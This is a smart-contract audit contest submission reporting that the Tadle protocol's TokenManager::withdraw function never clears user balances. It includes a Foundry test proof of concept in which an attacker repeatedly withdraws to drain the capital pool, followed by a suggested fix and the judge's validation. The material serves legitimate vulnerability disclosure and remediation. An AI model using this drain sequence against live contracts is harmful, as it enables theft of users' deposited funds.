Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

TokenManager::withdraw function doesn't update users balance after withdraw and all funds can potentially be drained

bijan

Relevant GitHub Links

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137C5-L189C6

Vulnerability Details

TokenManager::withdraw function, retrieves user's balance and then transfers it to the user, but it never updates the user balance after that.

PoC

Add the following block of code to the PreMarkets.t.sol test file:

function test_withdrawVulnerability() public {
// @note Users deposit funds into capital pool by creating offer
vm.prank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1_000_000,
1_000_000 * 1e18,
10001,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
​
address attacker = makeAddr("attacker");
deal(address(mockUSDCToken), attacker, 2_500 * 1e18);
​
uint256 attacker_initialUSDCBalance = mockUSDCToken.balanceOf(attacker);
uint256 capitalPool_initialUSDCBalance = mockUSDCToken.balanceOf(address(capitalPool));
// @note An attacker does the necessary approvals and creates an offer then takes the taker side
// to increase their balance in the TokenManager contract
vm.startPrank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
capitalPool.approve(address(mockUSDCToken));
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1_000,
1_000 * 1e18,
10001,
0, // Not gonna tax myself lol
OfferType.Ask,
OfferSettleType.Protected
)
);
address attackerOfferAddr = GenerateAddress.generateOfferAddress(1);
​
preMarktes.createTaker(attackerOfferAddr, 1_000);
uint256 attacker_tokenManagerBalance = tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console2.log("Attacker's SalesRevenue balance in TokenManager: %s", attacker_tokenManagerBalance);
assert(attacker_tokenManagerBalance != 0);
// @note Now attacker can call withdraw unlimited times and potentially drain all of the protocol funds
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
vm.stopPrank();
​
​
uint256 attacker_finalUSDCBalance = mockUSDCToken.balanceOf(attacker);
uint256 capitalPool_finalUSDCBalance = mockUSDCToken.balanceOf(address(capitalPool));
assert(attacker_finalUSDCBalance > attacker_initialUSDCBalance);
assert(capitalPool_finalUSDCBalance < capitalPool_initialUSDCBalance);
// @note Uncomment the following code to see the exact initial and final balances of attacker and capital pool
// console2.log("Attacker's initial USDC balance: %s", attacker_initialUSDCBalance);
// console2.log("Capital pool's initial USDC balance: %s", capitalPool_initialUSDCBalance);
// console2.log("Attacker's final USDC balance: %s", attacker_finalUSDCBalance);
// console2.log("Capital pool's final USDC balance: %s", capitalPool_finalUSDCBalance);
}

Impact

Potentially, all of the protocol funds can be drained.

Tools Used

  • Manual review

  • Foundry unit test

Recommendations

Update user's balance immediately after reading it, like this:

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] -= claimAbleAmount;
​
// Rest of the code

Or

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0; // since this function withdraws all of the user's balance
​
// Rest of the code
Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.